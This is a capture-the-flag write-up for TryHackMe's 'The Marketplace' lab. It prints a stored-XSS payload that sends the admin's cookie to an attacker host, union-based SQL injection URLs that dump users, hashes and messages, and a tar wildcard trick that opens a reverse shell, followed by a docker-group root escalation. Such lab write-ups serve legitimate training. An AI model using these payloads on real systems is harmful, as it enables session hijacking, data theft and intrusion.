TryHackMe write-up: The Marketplace

 

Introduction

This is my write-up for TryHackMe's The Marketplace Room.

Enumeration

Using nmap, I found that this box had 3 ports open.

Checking both ports 80 and 32768, we see the same website:

Looking at 1 item, I saw that there's a contact author and report to admins option.

Clicking on either link brought me to the login page.

It's a good thing I can also sign up to this site:

Prior to signing up and logging in, I checked for robots.txt.  I found that there's a "hidden" folder.

Checking this folder, I found that I needed to do something to access it.

Exploitation

Running nikto, and dirbuster didn't reveal anything useful.  However, when I checked the room hint:

After signing up and logging in, I tried to report an item.

After reporting that item, I received a message.

Looking at the message, it says that an admin will check the reported listing.  So maybe I needed to create a listing of my own? Clicking on the "New Listing" link, I saw that it accepts 2 text boxes, but file upload is disabled.

So file command injection is not possible.  However, how about XSS?  I tried injecting a simple script in the description text box:

<script>alert("XSS")</script>

So I saw an XSS vulnerability.  Looking back at the message I got earlier, if an admin will indeed check the listing if it's reported, I thought "Would it be possible to hijack the admin's session?"

Pentest-tools.com provides very good practical XSS attacks examples.  I then went back to the "New Listing" link and added the following to the description text box.

<script>new Image().src="http://<attacker IP>/bogus.php?output="+document.cookie;</script>

If successful, the user's browser will make an HTTP request to a website I control and the URL will contain the session cookie.

Prior to reporting the newly created "listing", I ran a simple netcat listener checking port 80 on my attacker box.  Once the listener is running, I then reported it.  Checking my listener, I saw that a request was made.  This HTTP request contained the user's cookie:

The user's cookie from above is the value of the "output" variable in the URL requested.

I again tried accessing the /admin folder.  This time, I used Burp Suite to intercept the request, and edit the Cookie header in the request.

I then saw that the first flag is present in the admin panel.

Clicking on the first user, I find the following:

So it turns out that the admin panel accepts a user ID as an input variable.  I then tested for a possible SQL injection attack.  To do so, I simply added an apostrophe to the end of the ID.

Hackingarticles.in provides a good tutorial on the steps used to manually use this attack.

On my browser, I typed in the following:

http://10.10.89.139/admin?user=991 union select database(),1,2,3

I find that the database name is marketplace: 

To enumerate the tables:

http://10.10.89.139/admin?user=991 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 2, 3

I saw that there's 3 tables for this database.

I then checked the columns by:

http://10.10.89.139/admin?user=991 union select 1, (select group_concat(table_name,"---",column_name) from information_schema.columns where table_schema=database()), 2, 3

 I then enumerated the username and passwords:

http://10.10.89.139/admin?user=991 union select 1, (select group_concat(id, "---", username, "---", password) from users), 2, 3

So there's 4 users (including the test user I added by signing up earlier).  Trying to crack the hashes proved difficult.  I then decided to check the messages table by:

http://10.10.89.139/admin?user=991 union select 1, (select group_concat(user_to, "---", message_content) from messages), 2, 3

So it turned out that the SSH password is in the messages table.  I then tested this by connecting via SSH.

Privilege Escalation

Checking for sudo privileges, it turns out that user jake can execute a script as user michael.

I found that the script calls tar with the wildcard "*".

According to PayloadsAllTheThings, "by using tar with --checkpoint-action options, a specified action can be used after a checkpoint".  I then created a shell script that would initiate a reverse shell back to my attacker box.  I then proceeded to create files named "--checkpoint=1" and "--checkpoint-action=exec=sh shell.sh"

Looking at my netcat listener, I find that I have a shell running as michael.  Looking further, I found that this user is part of the docker group.

Given that michael is part of the docker group, I can mount the /root folder in a docker container.  Inside the container, I can then access the /root folder and read the last flag.